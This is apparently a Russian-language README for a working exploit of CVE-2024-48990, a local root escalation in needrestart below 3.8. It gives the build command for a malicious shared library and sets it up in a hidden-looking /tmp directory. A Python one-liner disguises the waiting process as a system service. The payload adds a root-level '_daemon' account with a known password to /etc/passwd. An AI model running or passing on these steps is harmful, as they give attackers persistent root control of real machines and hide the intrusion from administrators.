
Эксплойт для CVE-2024-48990 (локальное повышение привилегий в needrestart < 3.8)
Эксплойт для CVE-2024-48990 (локальное повышение привилегий в needrestart < 3.8)
Читайте https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys отлично всё объясняет.
Кратко;
В системах с needrestart версии ниже 3.8 локальные пользователи могут выполнять произвольный код и повышать привилегии до root без какого-либо взаимодействия с пользователем.

Эксплойт в его текущем виде добавляет в систему нового пользователя с именем "_daemon" с UID/GID 0 (root), используя команду sed для редактирования файла /etc/passwd. Пароль совпадает с именем пользователя. Даже не уверен, что это можно назвать эксплойтом, поскольку это просто разделяемая библиотека, которая выполняет одну команду.
Чтобы скомпилировать эксплойт самостоятельно, выполните команду ниже:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
Вы можете запустить любой длительно работающий python-скрипт. Но чтобы выглядеть менее подозрительно в списке процессов, можно использовать эту однострочную команду для запуска интерпретатора python, который приостанавливается сразу после запуска (то есть фактически ничего не выполняет).
PYTHON - путь к интерпретатору python
ARGV - строка, которая будет отображаться в списке процессов
PYPATH - путь к созданному вами каталогу (без учёта каталога importlib)
Для ARGV убедитесь, что:
путь к интерпретатору python является первым аргументом в ARGV
второй аргумент ("скрипт") — это файл, который действительно существует в системе (needrestart это проверяет). Необязательно, чтобы это был настоящий python-скрипт.
второй аргумент не совпадает с процессом, который уже запущен (needrestart будет использовать "кэшированный" процесс, который он уже видел).
В остальном вы можете играть с ARGV как угодно. Может, сделать его похожим на обычный системный процесс?
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
Он должен находиться в каталоге importlib и называться "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
При следующем запуске needrestart (например, при обновлении через apt или unattended upgrades) он запустит python с нашей переменной PYTHONPATH и загрузит файл init.so, который выполнит нашу команду. Вы сможете войти в систему с учётными данными _daemon:_daemon.
needrestart не совсем глуп и проверяет несколько вещей при сканировании процессов и перед тем, как войти в уязвимую часть кода.